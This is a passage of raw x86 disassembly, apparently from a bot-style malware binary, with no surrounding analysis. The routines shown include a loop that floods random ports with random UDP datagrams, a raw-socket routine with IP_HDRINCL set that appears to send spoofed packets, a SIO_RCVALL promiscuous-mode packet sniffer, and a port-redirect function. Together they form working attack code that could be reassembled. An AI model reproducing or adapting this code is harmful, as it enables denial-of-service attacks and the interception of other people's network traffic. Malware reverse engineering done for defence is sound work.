		or	eax, 0FFFFFE00h
		inc	eax


loc_4275D1:				; CODE XREF: sub_4275B0+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_4275B0	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427620	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427620
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427620	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427690	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_4276A8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4276A8:				; CODE XREF: sub_427690+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427690	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4276C0	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_4276C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4276E0	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4276E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_4277AE
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_4277AE:				; CODE XREF: sub_4276E0+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4276E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_4368D0
		push	esi
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4278B1
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_4278AA
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_4278AA:				; CODE XREF: sub_427850+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_4278B1:				; CODE XREF: sub_427850+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_4278ED
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	near ptr 71AB2B66h
		nop
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42791E
; ---------------------------------------------------------------------------


loc_4278ED:				; CODE XREF: sub_427850+77j
		push	esi
		call	near ptr 71AB2B66h
		nop
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42790B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42791E
; ---------------------------------------------------------------------------


loc_42790B:				; CODE XREF: sub_427850+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42791E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42791E:				; CODE XREF: sub_427850+9Bj
					; sub_427850+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_427934
		mov	[esp+28h+arg_FFE4], 1


loc_427934:				; CODE XREF: sub_427850+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_42796E


loc_42795B:				; CODE XREF: sub_427850+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_42795B


loc_42796E:				; CODE XREF: sub_427850+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427A00
		mov	ebp, dword_50FC5C


loc_427986:				; CODE XREF: sub_427850+1AEj
		mov	al, byte_4D64A9
		test	al, al
		jz	short loc_427A00
		mov	esi, 0Bh


loc_427994:				; CODE XREF: sub_427850+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		nop
		call	near ptr 2870000h
		dec	esi
		jnz	short loc_427994
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_4279EB
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_4279EB:				; CODE XREF: sub_427850+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_427986


loc_427A00:				; CODE XREF: sub_427850+12Aj
					; sub_427850+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_427850	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427A80	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427ADD
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427ADD:				; CODE XREF: sub_427A80+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427AFD
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427AFD:				; CODE XREF: sub_427A80+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_427A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B60	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F20
		mov	eax, edi


loc_427BC7:				; CODE XREF: sub_427B60+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427BEB
		test	cl, cl
		jz	short loc_427BE7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427BEB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427BC7


loc_427BE7:				; CODE XREF: sub_427B60+71j
		xor	eax, eax
		jmp	short loc_427BF0
; ---------------------------------------------------------------------------


loc_427BEB:				; CODE XREF: sub_427B60+6Dj
					; sub_427B60+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427BF0:				; CODE XREF: sub_427B60+89j
		cmp	eax, ebx
		jnz	short loc_427C43
		mov	ebp, dword_4D60B7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427C07
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427C4E


loc_427C07:				; CODE XREF: sub_427B60+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427C4E
; ---------------------------------------------------------------------------


loc_427C43:				; CODE XREF: sub_427B60+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427C4E:				; CODE XREF: sub_427B60+A5j
					; sub_427B60+E1j
		cmp	ebp, ebx
		jz	short loc_427C57
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427C5D


loc_427C57:				; CODE XREF: sub_427B60+F0j
		mov	ebp, dword_4D60B7


loc_427C5D:				; CODE XREF: sub_427B60+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D9D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D9D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D9D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D9D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427D83
		mov	ebx, dword_50FC90


loc_427CF3:				; CODE XREF: sub_427B60+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427D73
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427D4E
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427D6B
; ---------------------------------------------------------------------------


loc_427D4E:				; CODE XREF: sub_427B60+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427D73
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427D6B:				; CODE XREF: sub_427B60+1ECj
		call	sub_40207C
		add	esp, 8


loc_427D73:				; CODE XREF: sub_427B60+1C0j
					; sub_427B60+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427CF3


loc_427D83:				; CODE XREF: sub_427B60+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		call	near ptr 71AB9639h
		nop


loc_427D9D:				; CODE XREF: sub_427B60+11Dj
					; sub_427B60+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427B60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E50	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444EF8
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EC0	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427F80	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427F80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427F80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_428050:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_428068
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428068:				; CODE XREF: ___:0042805Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428080	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428098
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428098:				; CODE XREF: sub_428080+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428080	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4280B0	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_4280B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4280D0	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4280D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281F0	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_4281F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282B0	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_4282C8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4282C8:				; CODE XREF: sub_4282B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4282B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282E0	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4282FE
		push	eax
		call	edi	; closesocket


loc_4282FE:				; CODE XREF: sub_4282E0+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42830C
		push	eax
		call	edi	; closesocket


loc_42830C:				; CODE XREF: sub_4282E0+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_4282E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428350	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
